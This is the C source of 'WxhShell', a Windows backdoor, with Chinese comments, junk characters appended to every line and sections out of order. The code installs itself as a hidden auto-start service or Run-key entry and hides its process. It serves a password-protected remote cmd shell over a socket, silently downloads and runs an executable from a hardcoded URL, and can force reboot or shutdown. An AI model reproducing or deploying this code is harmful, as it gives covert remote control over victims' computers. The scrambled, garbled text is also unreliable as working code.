    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J}KktD@!O  
    else { 8"UG&wLT  
    closesocket(wsh); IX?%H!i  
    ExitThread(0); <+,0 G`  
    } VCRv(Ek  
    break; "Am0.c/  
    } +p6\R;_E  
  // 获取shell hdqls0 r  
  case 's': { wO)KQ~yX  
    CmdShell(wsh); 8'Bl=C|0X  
    closesocket(wsh); oySM?ZE  
    ExitThread(0); ;rAW3  
    break; Xb]?/7 X  
  } { (,vm}iFL  
  // 退出 dk`!UtNNRa  
  case 'x': { j|dzd<kE6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O t<%gj;^  
    CloseIt(wsh); 0)a?W,+O  
    break; !Y(qpC:$  
    } ;]x5;b9`  
  // 离开 6YGr"Kj &  
  case 'q': { gF5EtdN?|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V46[whL%r  
    closesocket(wsh); 6mpUk.M"  
    WSACleanup(); $%8n,FJ[  
    exit(1); yOzKux8kB  
    break; Ao0PFY  
        } E9-'!I!  
  } $KHDS:&  
  } U%\2drM&]  
f_XCO=8'v  
  // 提示信息 :"IH*7xp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <yO9j   
} *sVxjZvV  
  } { F8,^+b|  
%k)I =|  
  return; "0)G|pZI  
} P;pg+L.I  
A|Gqjy^;@  
// shell模块句柄 $0 zL  
int CmdShell(SOCKET sock) |T&#"q,i9%  
{ Lb 4!N` l  
STARTUPINFO si; P"@^'yR5WK  
ZeroMemory(&si,sizeof(si)); /loN Outw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bd[Gsns  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gg_(%.>  
PROCESS_INFORMATION ProcessInfo; ofCP>Z-  
char cmdline[]="cmd"; N6%q%7F.:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4 jro4B`  
  return 0; )E2Lf ]  
} &r!>2$B\  
(oEA)yc|  
// 自身启动模式 {z_pL^S'52  
int StartFromService(void) .6#2i <oPW  
{ M4\Io]}-M  
typedef struct dL)5~V8s  
{ qrh7\`,.m/  
  DWORD ExitStatus; +t{FF!mL  
  DWORD PebBaseAddress; x^BBK'  
  DWORD AffinityMask; (@ sKE  
  DWORD BasePriority; n\9*B##  
  ULONG UniqueProcessId; n(VMGCZPV  
  ULONG InheritedFromUniqueProcessId; !W^II>Y  
}   PROCESS_BASIC_INFORMATION; J<@]7)|U  
CFxs`C^  
PROCNTQSIP NtQueryInformationProcess; >i E  
\vQ (  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n//a;m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )6WU&0>AU8  
S3cQC`^  
  HANDLE             hProcess; ~zRd||qv  
  PROCESS_BASIC_INFORMATION pbi; I =pdjD  
-H]O&u3'c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M - TK  
  if(NULL == hInst ) return 0; ;\.&FMi  
m#'9)%t!J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A79SAheX#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6V/mR~F1r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 dMpd4"\  
ep|u_|sB/r  
  if (!NtQueryInformationProcess) return 0; 5]JXXdt  
$hh=-#J8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -+/|  
  if(!hProcess) return 0; BJ/%{ C`g  
cG6+'=]3<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PeaD]  
~<LI p%5(  
  CloseHandle(hProcess); b\mN^P~>A  
|lY8u~%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -tZb\4kh  
if(hProcess==NULL) return 0; C?k4<B7V  
m^KkS   
HMODULE hMod; ?zqXHv#x  
char procName[255]; Gr?gHAT  
unsigned long cbNeeded; :;QLoZh^  
[MG:Ym).2`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  >TgO|mq  
P) #rvTDRw  
  CloseHandle(hProcess); p*A//^wQ  
u 05O[>w  
if(strstr(procName,"services")) return 1; // 以服务启动 z)Gr`SA<  
><HXd+- sd  
  return 0; // 注册表启动 _qfdk@@g  
} =6:Iv"<  
"`zw(  
// 主模块 |kD?^Nx  
int StartWxhshell(LPSTR lpCmdLine) T^W8_rm *3  
{ &bb*~W-  
  SOCKET wsl; on|>"F`pb  
BOOL val=TRUE; de[_T%A  
  int port=0; 'WoX-y  
  struct sockaddr_in door; Sob+l'U$  
2J$Uz,@  
  if(wscfg.ws_autoins) Install(); gnt[l0m  
7 m%|TwJN  
port=atoi(lpCmdLine); ~ nIZ g5  
ezeGw?/  
if(port<=0) port=wscfg.ws_port; 1Cthi[ B  
Gf>T{Q`,is  
  WSADATA data; {S c1!2q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e^fjla5  
)`a R?_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SBA;p7^"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3.Qwn.   
  door.sin_family = AF_INET; m`t7-kiZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;|c,  
  door.sin_port = htons(port); ):\L#>:w  
4*]`s|fbu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tW +I?  
closesocket(wsl); X$<?:f-  
return 1; R?k1)n   
} <e"2<qVi  
XOoND  
  if(listen(wsl,2) == INVALID_SOCKET) { =y ff.3mW\  
closesocket(wsl); 4CqZvd C  
return 1; 3ul  
} {^v50d  
  Wxhshell(wsl); ^H>vJT  
  WSACleanup(); {k>m5L  
b^ZrevM  
return 0; ' x|B'  
~$5[#\5%G  
} #t\Oq9}^  
#"jWPe,d  
// 以NT服务方式启动 zR:S.e<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %PQC9{hUy$  
{ N4r`czoj  
DWORD   status = 0; lVt gg?  
  DWORD   specificError = 0xfffffff; 8K$:9+OY  
&p*N8S8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MTQdyTDHl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sfH|sp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0&Qn7L  
  serviceStatus.dwWin32ExitCode     = 0; ($-o"y"x  
  serviceStatus.dwServiceSpecificExitCode = 0; h`)r :a7  
  serviceStatus.dwCheckPoint       = 0; }'3V(;9  
  serviceStatus.dwWaitHint       = 0; WZ ZD  
2>mDT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = hpX2/]  
  if (hServiceStatusHandle==0) return; +`ZcYLg)#  
xH0Bk<`V:  
status = GetLastError(); tcs Z! #  
  if (status!=NO_ERROR) YEGXhn5E  
{ BZE19!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OLv(  
    serviceStatus.dwCheckPoint       = 0; edm&,ph]  
    serviceStatus.dwWaitHint       = 0; =,sMOJ c>  
    serviceStatus.dwWin32ExitCode     = status; {It4=I)M  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9yQ[*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b"J(u|Du`  
    return; FQ[::*-  
  } Z0x N9S  
:f `1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *l|CrUa  
  serviceStatus.dwCheckPoint       = 0; ?qdG)jo=  
  serviceStatus.dwWaitHint       = 0; ]wP)!UZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7eY*Y"GX  
} >_R5Li  
h><;TAp  
// 处理NT服务事件,比如:启动、停止 R|_?yV[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qv8Z64#  
{ &9'6hMu  
switch(fdwControl) KzhldMJ^zq  
{ @wB$qd;v  
case SERVICE_CONTROL_STOP: % Dya-  
  serviceStatus.dwWin32ExitCode = 0; K }r%OOn0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ek84yme#  
  serviceStatus.dwCheckPoint   = 0; W}KtB1J  
  serviceStatus.dwWaitHint     = 0; >XA#/K  
  {  N3E=t#n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o zv><e#  
  } Lq yY??\@  
  return; _m@QeO'yh  
case SERVICE_CONTROL_PAUSE: DS^PHk39  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hD;[}8qN{  
  break; |d8/ZD  
case SERVICE_CONTROL_CONTINUE: 2/I^:*e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *.20YruU;j  
  break; -O{Af  
case SERVICE_CONTROL_INTERROGATE: =3sBWDB[  
  break; &K}!R$[,:P  
}; 2mI=V.X[&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9c<lFZb;  
} Y6V56pOS  
2@=JIMtc  
// 标准应用程序主函数 a(bgPkPP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "=HCP,  
{ :H6Ipa  
<V9L AWeS  
// 获取操作系统版本 9Y~A2C  
OsIsNt=GetOsVer(); <s  $~h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Riw#+#r]/  
o XA*K.X<  
  // 从命令行安装 U$qSMkj6RK  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7kHEY5s "  
B;L~ hM  
  // 下载执行文件 +oeO 0  
if(wscfg.ws_downexe) { w$pBACX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [CJ&Yz Ji  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0IxXhu6v  
} UT+B*?,h  
/9;)zI  
if(!OsIsNt) { (@mvNlc:  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?-Fp rC  
HideProc(); ?~;G)5  
StartWxhshell(lpCmdLine); ~[Mm0L}8  
} kpcIU7|e  
else _a^%V9t  
  if(StartFromService()) y$7<ZBG  
  // 以服务方式启动 9)'L,Xt4:T  
  StartServiceCtrlDispatcher(DispatchTable); m8fxDepFA  
else UV$v:>K#  
  // 普通方式启动 0d~>zKho  
  StartWxhshell(lpCmdLine); 2vT>hC?oHz  
J)6f"{} &  
return 0; B$sB1M0q  
} 7$k[cL1  
,i e84o  
7 i,}F|#8  
sd xl@  
=========================================== s7#w5fe  
@u#Tx%  
EJ"[{AV  
# KK>D?.:  
8" XbW7^o  
_m#M^<0n  
" JiCDY)bu  
Q >] v?4  
#include <stdio.h> F`r=M%yh  
#include <string.h> yuWoz*:t  
#include <windows.h>  5k{a(I  
#include <winsock2.h> ANZD7v6a  
#include <winsvc.h> TIYI\/a\;  
#include <urlmon.h> aj85vON1`  
e}D#vPaSY  
#pragma comment (lib, "Ws2_32.lib") .-Ggvw  
#pragma comment (lib, "urlmon.lib") H[BY(a@c  
cK"b0K/M?B  
#define MAX_USER   100 // 最大客户端连接数 43^%f-J 5  
#define BUF_SOCK   200 // sock buffer eJIBkFW/3y  
#define KEY_BUFF   255 // 输入 buffer +h.$ <=  
fE8/tx](  
#define REBOOT     0   // 重启 0ZlF#PJA  
#define SHUTDOWN   1   // 关机 ]^uO3!+  
LSS3(l[,:  
#define DEF_PORT   5000 // 监听端口 a 39Kl_\  
"WV]| TS"]  
#define REG_LEN     16   // 注册表键长度 q4C$-W%rj  
#define SVC_LEN     80   // NT服务名长度 HNu/b)-Rb  
|9$K'+'  
// 从dll定义API t 5g@t0$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wK!4:]rhG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 18jI6$DY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7;ZSeQ yC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `D6Bw=7  
p(fYpD  
// wxhshell配置信息 S;[9 hI+  
struct WSCFG { (hEqh nnm`  
  int ws_port;         // 监听端口 g-q~0  
  char ws_passstr[REG_LEN]; // 口令 iqW T<WY  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9 N[k ?kUZ  
  char ws_regname[REG_LEN]; // 注册表键名 3iMh)YH5b  
  char ws_svcname[REG_LEN]; // 服务名 sg RY`U.C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZnVi.s ~1V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pj4M|'F7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X`YAJG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o|F RG{TJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J39,x=8LL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GSj04-T"  
sN.h>bd  
}; )o-rg  
HdQd =q(  
// default Wxhshell configuration ~_OtbNj#  
struct WSCFG wscfg={DEF_PORT, zZE 2%fqM  
    "xuhuanlingzhe", ;"l>HL:^  
    1, t&MJSFkiA  
    "Wxhshell", jr29+>  
    "Wxhshell", /"Ws3.p  
            "WxhShell Service", q^ lx03   
    "Wrsky Windows CmdShell Service", L?T%;VdG'>  
    "Please Input Your Password: ", ?]+{2&&$  
  1, v0&E!4q*'  
  "http://www.wrsky.com/wxhshell.exe", AX! YB'm-  
  "Wxhshell.exe" Uax[Zh[Cg  
    }; a/Z >-   
}c?/-ab>  
// 消息定义模块 #&a-m,Y$sx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H}5zKv.T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k\rzvo=U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rl@k~;VV  
char *msg_ws_ext="\n\rExit."; Y).5(t7zaR  
char *msg_ws_end="\n\rQuit."; !c,=%4Pb  
char *msg_ws_boot="\n\rReboot..."; z'OY6  
char *msg_ws_poff="\n\rShutdown..."; 2YI#J.6]H  
char *msg_ws_down="\n\rSave to "; r*CI6yP  
AdMA|!|:hc  
char *msg_ws_err="\n\rErr!"; 6fV%[.RR  
char *msg_ws_ok="\n\rOK!"; 9un* 1%  
kW=g:m  
char ExeFile[MAX_PATH]; QhUv(]0   
int nUser = 0; 6Tjj++b(*  
HANDLE handles[MAX_USER]; t4>%<'>e  
int OsIsNt; A82Bn|J  
1ga.%M*  
SERVICE_STATUS       serviceStatus; c]3% wL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f6@fi`U ,  
n<\ W Vi  
// 函数声明 xLhN3#^m  
int Install(void); S3EM6`q'  
int Uninstall(void); F=)9z+l#  
int DownloadFile(char *sURL, SOCKET wsh); Ln-/ 9'^  
int Boot(int flag); e }>8rnR{  
void HideProc(void); [ aC7  
int GetOsVer(void); 8G@Ie  
int Wxhshell(SOCKET wsl); ?\[2Po]n  
void TalkWithClient(void *cs); #'m&<g,  
int CmdShell(SOCKET sock); m:U.ao6  
int StartFromService(void); gw[\7  
int StartWxhshell(LPSTR lpCmdLine); `@?f@p$(B  
<,/k"Y=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9ReH@5_bGM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sz4G,c  
rS1mBrqD  
// 数据结构和表定义 T*YbmI]4  
SERVICE_TABLE_ENTRY DispatchTable[] = c 4Q{  
{ <5rs~  
{wscfg.ws_svcname, NTServiceMain}, #m yiZL %  
{NULL, NULL} &s m7R i  
}; bV|(V>  
oj\av~cI  
// 自我安装 ti6\~SY  
int Install(void) v[4A_WjT  
{ $ qOV#,@  
  char svExeFile[MAX_PATH]; IoUQ~JviA  
  HKEY key; 6b& <5,=d:  
  strcpy(svExeFile,ExeFile); wXdtY  
wV\;,(<x=%  
// 如果是win9x系统,修改注册表设为自启动 a|aRUxa0"  
if(!OsIsNt) { H{}0- 0o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f`Km ctI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f44b=,Lry5  
  RegCloseKey(key); sbnNk(XINQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l-|hvv5g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oS3}xT" U  
  RegCloseKey(key); \Y;LbB8D  
  return 0; s>y=-7:N  
    } AL*P 2\8  
  } %J)n#\  
} d#~^)r  
else { Oa7x(wS  
Ut"~I)S{LT  
// 如果是NT以上系统,安装为系统服务  -)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CZE!rpl  
if (schSCManager!=0) v,6  
{ 0V{a{>+  
  SC_HANDLE schService = CreateService .-Y3oWV  
  ( S<), ,(  
  schSCManager, FtBYPSGz  
  wscfg.ws_svcname, "{a-I=s\C  
  wscfg.ws_svcdisp, Vy*&po[   
  SERVICE_ALL_ACCESS, X; $g7A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1O" Mo  
  SERVICE_AUTO_START, yL =*yC  
  SERVICE_ERROR_NORMAL, ]WZ_~8  
  svExeFile, Ml &Cr  
  NULL, #=6A[<qX  
  NULL, 8&?kr/_Vr  
  NULL, Vq[L4  
  NULL, hCXSC*;  
  NULL qf7:Q?+.|  
  ); 'EF\=o)^Y  
  if (schService!=0) o)w8 ]H /  
  { _3_d;j#G U  
  CloseServiceHandle(schService); C'~K amS  
  CloseServiceHandle(schSCManager); Twscc"mK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c*0pF=3  
  strcat(svExeFile,wscfg.ws_svcname); fAx7_}k/ m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "&jWC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;qM I3wF  
  RegCloseKey(key); InI^,&<  
  return 0;  Co e q<  
    } 9Z! j  
  } a%3V< "f  
  CloseServiceHandle(schSCManager); L`"PaIMz  
} <PBrW#:'  
} "zU}]|R  
WxNPAJ6YH  
return 1; 6k?,'&z|~  
} z}XmRc_Ko  
<hG=0Zcr  
// 自我卸载 KIt:ytFx  
int Uninstall(void) F_8 < tA6  
{ .}KY*y  
  HKEY key; 8J60+2Wa  
#ma#oWqF}  
if(!OsIsNt) { i21ybXA=Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OyTEd5\3  
  RegDeleteValue(key,wscfg.ws_regname); Xy_ <Yqx}  
  RegCloseKey(key); ?Bg<74  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  VlGg?  
  RegDeleteValue(key,wscfg.ws_regname); f? sW^ d;  
  RegCloseKey(key); YS$?Wz  
  return 0; ,,*i!%Adw  
  } kbij Zj{  
} 1UR ;}  
} jY.iQBhjEB  
else { ts2;?`~  
%m8;Lh- X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P\"|b\O1  
if (schSCManager!=0) Kv**(~FNnH  
{ WU}?8\?U%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \Qa6mt2h  
  if (schService!=0) ^QX3p,Y  
  { WM8 Ce0E  
  if(DeleteService(schService)!=0) { SoS GQ&k  
  CloseServiceHandle(schService); vo'=d"zm  
  CloseServiceHandle(schSCManager); yn;h.m[):  
  return 0; V?{[IMRC  
  } -49z.(@ki  
  CloseServiceHandle(schService); d1=kHU4_9  
  } !1MSuvWP  
  CloseServiceHandle(schSCManager); :5/P{Co (  
} k!/"J ;  
} zbL!q_wO  
r[P5 ufy2]  
return 1; G]q1_q4P1?  
} W/dl`UDY  
XqD/~_z;  
// 从指定url下载文件 }*+?1kv  
int DownloadFile(char *sURL, SOCKET wsh) 'BE &lW  
{ {Vz.| a[T  
  HRESULT hr; CTu#KJ?j  
char seps[]= "/"; +8+@Az[e0  
char *token; 'jv[Gcss3L  
char *file; ]ZkhQ%  
char myURL[MAX_PATH]; W}6(;tI  
char myFILE[MAX_PATH]; RfP>V/jy5  
x Bn+-V  
strcpy(myURL,sURL); ,X Zo0 !  
  token=strtok(myURL,seps); Wb!"L`m  
  while(token!=NULL) mmC&xZ5f  
  { 3JuWG\r)l  
    file=token; &m=Xg(G~c  
  token=strtok(NULL,seps); i?R+Ul`Q  
  } ;k6>*wFl|!  
>h3r\r\n3  
GetCurrentDirectory(MAX_PATH,myFILE); K\5'pp1  
strcat(myFILE, "\\"); b2OVg +3  
strcat(myFILE, file); Rpit>  
  send(wsh,myFILE,strlen(myFILE),0); ]d#Lfgo  
send(wsh,"...",3,0); & [)1LRt_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K-Bf=7F,  
  if(hr==S_OK) # 4E@y<l$  
return 0; R["2kEF  
else fFD:E} >5  
return 1; =ogzq.+|  
+hdD*}qauC  
} FC.d]XA%/d  
!a&@y#x  
// 系统电源模块 d4c-(ZRl  
int Boot(int flag) m=&j2~<i  
{  V"n0"\k,  
  HANDLE hToken; S4]}/Imn)  
  TOKEN_PRIVILEGES tkp; ~YO-GX(  
g+8j$w}  
  if(OsIsNt) { +W+O7SK\y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uLV@D r   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *0ZL@Kw  
    tkp.PrivilegeCount = 1; $Xf1|!W%a%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5p6Kq=jhb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H!U\;ny  
if(flag==REBOOT) { b9uo6u4s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |He,v/r  
  return 0; J_tj9+r^  
} `{fqnNJE  
else { Y%9S4be  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z)Xf6&  
  return 0; )'8DK$.  
} fII;t-(x  
  } `6V-a_8;[  
  else { =T5vu~[J/e  
if(flag==REBOOT) { *OU>s;"$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `<IT LT  
  return 0; U,"lOG'  
} }K,:aN,44\  
else { PbOLN$hP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4?XX_=+F|  
  return 0; w)-@?jN  
} 6GCwc1g  
} BQWEC,*N  
}J .f 5WaG  
return 1; h: :'s&|  
} evf){XhT;n  
j"o`K}C  
// win9x进程隐藏模块 {= Dtajz  
void HideProc(void)  mfOr+   
{ -e#YWMo(  
"~x\bSY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RWmQP%A}aw  
  if ( hKernel != NULL ) h.c<A{[I6c  
  { :T3I"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j &)Xi^^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {snLiCl  
    FreeLibrary(hKernel); 7uJy<O  
  } y [e $  
XNwY\y  
return; Z"Z&X0O j  
} {:40Jf  
P8!Vcy938  
// 获取操作系统版本 rb%P30qc4  
int GetOsVer(void) !o~% F5|t  
{ AbUPJF"F  
  OSVERSIONINFO winfo; r/=v;4.W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XG ]yfux`  
  GetVersionEx(&winfo); $K^"a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I z~#G6]M  
  return 1;  fI[tU(x  
  else =Z_\8qc  
  return 0; o%h"gbvMY!  
} cv;&ff2%?  
ntkTrei ]  
// 客户端句柄模块 `kIzT!HX  
int Wxhshell(SOCKET wsl) <&TAN L  
{ 'p-jMD}O  
  SOCKET wsh; /S1EQ%_  
  struct sockaddr_in client; rklr^ e  
  DWORD myID; H,txbJ  
.g DWv  
  while(nUser<MAX_USER) UTKS<.q  
{ *3WK:0  
  int nSize=sizeof(client); 62rTGbDbx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eS fT +UL  
  if(wsh==INVALID_SOCKET) return 1; EHkb{Q8  
4>>{}c!nf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &#v^y 3r  
if(handles[nUser]==0) PXm{GLXRS;  
  closesocket(wsh); ]B=B@UO@.  
else ^DXERt&3  
  nUser++; G& cm5  
  } 1qbd6D|t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GjE/!6b  
[ik D4p=  
  return 0; pBiC  
} mfFC@~|g  
sY7:Lzs.,  
// 关闭 socket xr?=gY3E;  
void CloseIt(SOCKET wsh) GZ/.eYE  
{ n|lXBCY7K  
closesocket(wsh); Ks@S5:9sp  
nUser--; Jx1oK  
ExitThread(0); U`K5 DZ~  
} ##Z:/SU  
WRZi^B8 @  
// 客户端请求句柄 dG.s8r*?M  
void TalkWithClient(void *cs) '@2pOq  
{ ,& =(DJ  
#!rng]p  
  SOCKET wsh=(SOCKET)cs; :-.R*W  
  char pwd[SVC_LEN]; S0/@y'q3en  
  char cmd[KEY_BUFF]; 0`"]mYH  
char chr[1];  ;4 R1  
int i,j; |@]J*Kh  
%/~6Qq  
  while (nUser < MAX_USER) { ;5=J'8f  
.a:"B\B`  
if(wscfg.ws_passstr) { YoGnk^$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iOPv % [  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5g&.P\c{  
  //ZeroMemory(pwd,KEY_BUFF); Dk&cIZ43  
      i=0; \:8~na+(  
  while(i<SVC_LEN) { x8.7])?w  
QOlm#S  
  // 设置超时 d,iW#,  
  fd_set FdRead; $Eg|Qc-1  
  struct timeval TimeOut; %Z 9<La  
  FD_ZERO(&FdRead); wg^#S  
  FD_SET(wsh,&FdRead); +Qt=N6>  
  TimeOut.tv_sec=8; ]G1{@r)  
  TimeOut.tv_usec=0; WfBA5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w3PE.A"Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;E(gl$c:  
7_.z3K m:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _2q4Aaza  
  pwd=chr[0]; zwN;CD1  
  if(chr[0]==0xd || chr[0]==0xa) { lu`\6  
  pwd=0; '$ ~.x|  
  break; m/| >4~  
  } O}MY:6Pe  
  i++; Z%D*2wm4  
    } 8*6vX!Z|  
vpFN{UfD  
  // 如果是非法用户,关闭 socket (BVLlOo?J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Oq(_I b)9  
} ro6|N?'  
'(5 &Sj/C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 00Tm0rY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @4B+<,i   
xoTS?7  
while(1) { ?t'ZX~k  
FviLlly6  
  ZeroMemory(cmd,KEY_BUFF); S]KcAz(fX  
LU_@8i:  
      // 自动支持客户端 telnet标准   +hpXMO%?  
  j=0; Nm--h$G  
  while(j<KEY_BUFF) { 9qIUBHe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =5b5d   
  cmd[j]=chr[0]; C?#if;c  
  if(chr[0]==0xa || chr[0]==0xd) { <^U B@'lCm  
  cmd[j]=0; GfUIF]X  
  break; hmtRs]7  
  } f_Y[I :  
  j++; 7ks09Cy  
    } d@b0z$<s  
-g]/Ko]2@$  
  // 下载文件 }; +'  
  if(strstr(cmd,"http://")) { QUaz;kNC7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /R8>f  
  if(DownloadFile(cmd,wsh)) JS642T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kWF4k  
  else z:^Kr"=n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BcX}[?c  
  } 7,!Mmu  
  else { iVd*62$@$  
^8o'\V"m^  
